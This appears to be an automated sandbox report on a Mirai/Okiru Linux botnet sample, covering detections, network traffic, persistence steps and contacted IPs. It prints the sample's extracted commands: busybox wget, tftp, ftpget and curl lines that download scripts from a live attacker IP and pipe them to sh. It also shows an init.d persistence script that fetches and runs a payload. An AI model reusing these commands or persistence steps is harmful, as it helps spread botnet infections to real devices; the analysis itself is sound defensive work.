Linux Analysis Report
sh4.nn.elf

Overview

General Information

Sample name: sh4.nn.elf
Analysis ID: 1561685
MD5: 08a8df7732cc53ff9f2bf89d7c38122e
SHA1: 2c6b642bba4c6ff989c06681e4bba9228392d8d2
SHA256: 2ca6ac713b3c724af98e3d8604a17d0a073287b4b488b090f4ad59c50afd34a9
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: sh4.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: sh4.nn.elf ReversingLabs: Detection: 44%
Found strings indicative of a multi-platform dropper
Source: sh4.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: sh4.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38966 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:44344 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/sh4.nn.elf (PID: 6240) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 159.26.133.64
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 54.155.42.30
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 185.152.17.122
Source: unknown TCP traffic detected without corresponding DNS query: 159.26.133.64
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 20.253.228.12
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 165.38.191.130
Source: unknown TCP traffic detected without corresponding DNS query: 21.11.172.183
Source: unknown TCP traffic detected without corresponding DNS query: 97.96.24.62
Source: unknown TCP traffic detected without corresponding DNS query: 54.155.42.30
Source: unknown TCP traffic detected without corresponding DNS query: 19.146.79.254
Source: sh4.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, sh4.nn.elf.38.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: sh4.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: sh4.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: sh4.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//ro
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/sh4.nn.elf (PID: 6256) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6256) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6256) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6256) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6256) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6256) SIGKILL sent: pid: 6306, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6256) SIGKILL sent: pid: 6312, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/11@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/sh4.nn.elf (PID: 6240) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/sh4.nn.elf (PID: 6240) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6329) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6368) File: /etc/rc.d/S99sh4.nn.elf -> /etc/init.d/sh4.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/sh4.nn.elf (PID: 6240) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6325) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6354) File: /etc/init.d/sh4.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6494/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6493/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6496/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6495/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6498/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6497/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6499/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6492/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6509/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6469/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6502/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6468/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6501/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6504/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6503/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6506/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6505/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6508/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6507/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6066/cmdline Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6467/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6500/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6393) File opened: /proc/6466/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/sh4.nn.elf (PID: 6267) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6323) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6327) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6330) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh4.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh4.nn.elf'\n /tmp/sh4.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh4.nn.elf'\n killall sh4.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh4.nn.elf" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6347) Shell command executed: sh -c "chmod +x /etc/init.d/sh4.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6355) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6363) Shell command executed: sh -c "ln -s /etc/init.d/sh4.nn.elf /etc/rc.d/S99sh4.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6325) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6354) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh4.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6360) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6287) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/sh4.nn.elf (PID: 6240) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6325) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6354) File: /etc/init.d/sh4.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/sh4.nn.elf (PID: 6240) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/sh4.nn.elf (PID: 6240) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6330) Writes shell script file to disk with an unusual file extension: /etc/init.d/sh4.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/sh4.nn.elf (PID: 6240) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6330) File: /etc/init.d/sh4.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/sh4.nn.elf (PID: 6240) Queries kernel information via 'uname': Jump to behavior
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.nn.elf, 6240.1.000055805102f000.00005580510b3000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.nn.elf
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.HneJv3
Source: sh4.nn.elf, 6240.1.000055805102f000.00005580510b3000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.nn.elf, 6240.1.000055805102f000.00005580510b3000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.nn.elf, 6240.1.000055805102f000.00005580510b3000.rw-.sdmp Binary or memory string: U!/usr/bin/vmtoolsd
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: panel/wrapper-2./qemu-open.XXXXX
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: /tmp/qemu-open.HneJv3
Source: sh4.nn.elf, 6240.1.00007fff7af49000.00007fff7af6a000.rw-.sdmp Binary or memory string: /qemu-open.XXXXXSXPF

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007f01d0400000.00007f01d0419000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007f01d0400000.00007f01d0419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.nn.elf PID: 6240, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007f01d0400000.00007f01d0419000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6240.1.00007f01d0400000.00007f01d0419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.nn.elf PID: 6240, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
33.26.230.42
 unknown United States
2686 ATGS-MMD-ASUS false
78.30.239.32
 unknown Russian Federation
35816 SEVSTARSevastopolRussiaRU false
41.156.59.73
 unknown South Africa
37168 CELL-CZA false
61.50.52.198
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
195.112.179.79
 unknown Germany
12296 ADANET-TR false
40.92.231.71
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
130.137.13.40
 unknown United States
137 ASGARRConsortiumGARREU false
116.29.171.31
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
212.92.113.245
 unknown Netherlands
43350 NFORCENL false
116.178.93.110
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
144.42.175.143
 unknown United States
27402 IBC-N1US false
175.90.105.135
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
73.248.85.148
 unknown United States
7922 COMCAST-7922US false
134.47.159.96
 unknown Norway
2119 TELENOR-NEXTELTelenorNorgeASNO false
51.184.253.45
 unknown United States
2686 ATGS-MMD-ASUS false
65.165.121.141
 unknown United States
1239 SPRINTLINKUS false
31.74.157.120
 unknown United Kingdom
12576 EELtdGB false
128.238.11.177
 unknown United States
54965 NYU-POLYUS false
145.251.104.22
 unknown Sweden
28726 ASN-EVRY-UNIGRIDSE false
103.78.178.185
 unknown China
135664 GCX-AS-APGLOBALCLOUDEXCHANGECoLtdKH false
88.48.11.12
 unknown Italy
3269 ASN-IBSNAZIT false
111.180.18.214
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
155.158.109.211
 unknown Poland
8508 SILWEB-AS-EDUSILWEBAutonomousSystem-AcademicPL false
53.86.250.130
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
131.238.50.89
 unknown United States
32234 UD-ACA-ASUS false
198.144.8.226
 unknown United States
12042 ENVENTISUS false
114.209.215.80
 unknown China
9595 XEPHIONNTT-MECorporationJP false
188.247.242.134
 unknown Romania
39737 PRIME-TELECOM-ASRO false
190.68.254.237
 unknown Colombia
21578 UniversidadautonomadeBucaramangaCO false
94.165.75.135
 unknown Italy
24608 WINDTRE-ASIT false
146.86.54.89
 unknown United States
210 WEST-NET-WESTUS false
143.220.197.68
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
141.193.77.126
 unknown United States
54778 BWAYTECHUS false
85.233.60.239
 unknown Germany
35244 KMS-DE_ASDE false
143.169.48.221
 unknown Belgium
2611 BELNETBE false
119.179.50.248
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
36.194.243.160
 unknown China
24138 CTTNETChinaTieTongTelecommunicationsCorporationCN false
216.64.95.85
 unknown United States
7029 WINDSTREAMUS false
140.20.178.112
 unknown United States
23700 FASTNET-AS-IDLinknet-FastnetASNID false
195.173.231.185
 unknown United Kingdom
2529 DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide false
176.61.145.45
 unknown Portugal
33876 FLESK-ASPT false
200.82.145.138
 unknown Venezuela
21826 CorporacionTelemicCAVE false
110.229.72.58
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
168.145.92.200
 unknown United States
27435 OPSOURCE-INCUS false
37.213.175.86
 unknown Belarus
6697 BELPAK-ASBELPAKBY false
26.80.80.7
 unknown United States
7922 COMCAST-7922US false
204.97.20.60
 unknown United States
1239 SPRINTLINKUS false
26.30.44.65
 unknown United States
7922 COMCAST-7922US false
94.17.189.117
 unknown Malta
12709 MELITACABLEMT false
169.94.92.133
 unknown United States
37611 AfrihostZA false
217.127.23.17
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
149.191.112.141
 unknown United Kingdom
87 INDIANA-ASUS false
111.43.171.252
 unknown China
132525 CMNET-HEILONGJIANG-CNHeiLongJiangMobileCommunicationComp false
118.122.130.100
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
193.245.118.229
 unknown Belgium
3549 LVLT-3549US false
139.148.79.99
 unknown China
23771 SXBCTV-APSXBCTVInternetServiceProviderCN false
87.15.12.125
 unknown Italy
3269 ASN-IBSNAZIT false
182.41.153.59
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
155.43.168.136
 unknown United States
25691 CTSTATEUUS false
104.163.117.94
 unknown Canada
6561 JUCECA false
210.11.122.188
 unknown Australia
2764 AAPTAAPTLimitedAU false
92.26.83.163
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
125.99.187.192
 unknown India
17488 HATHWAY-NET-APHathwayIPOverCableInternetIN false
149.124.158.24
 unknown United States
174 COGENT-174US false
119.106.214.101
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
141.56.73.192
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
23.6.0.211
 unknown United States
16625 AKAMAI-ASUS false
141.67.203.57
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
191.214.78.64
 unknown Brazil
7738 TelemarNorteLesteSABR false
2.3.102.253
 unknown France
3215 FranceTelecom-OrangeFR false
38.255.28.227
 unknown United States
174 COGENT-174US false
181.41.89.53
 unknown Guyana
19863 GuyanaTelephoneTelegraphCoGY false
33.123.247.21
 unknown United States
2686 ATGS-MMD-ASUS false
104.61.234.82
 unknown United States
7018 ATT-INTERNET4US false
147.140.47.69
 unknown United States
22644 TJUHUS false
88.68.140.65
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
83.249.254.172
 unknown Sweden
39651 COMHEM-SWEDENSE false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
22.48.158.87
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
46.35.2.234
 unknown France
9003 ASN-SFRForpeeringpleasemailpeeringaltitudetelecomfr false
197.20.58.142
 unknown Tunisia
37693 TUNISIANATN false
209.194.91.220
 unknown United States
393641 LC-SFO-393641US false
177.153.173.40
 unknown Brazil
27715 LocawebServicosdeInternetSABR false
215.110.34.93
 unknown United States
721 DNIC-ASBLK-00721-00726US false
94.143.54.245
 unknown Russian Federation
47258 PREMIER-GC-ASRU false
213.13.64.106
 unknown Portugal
3243 MEO-RESIDENCIALPT false
62.234.244.187
 unknown China
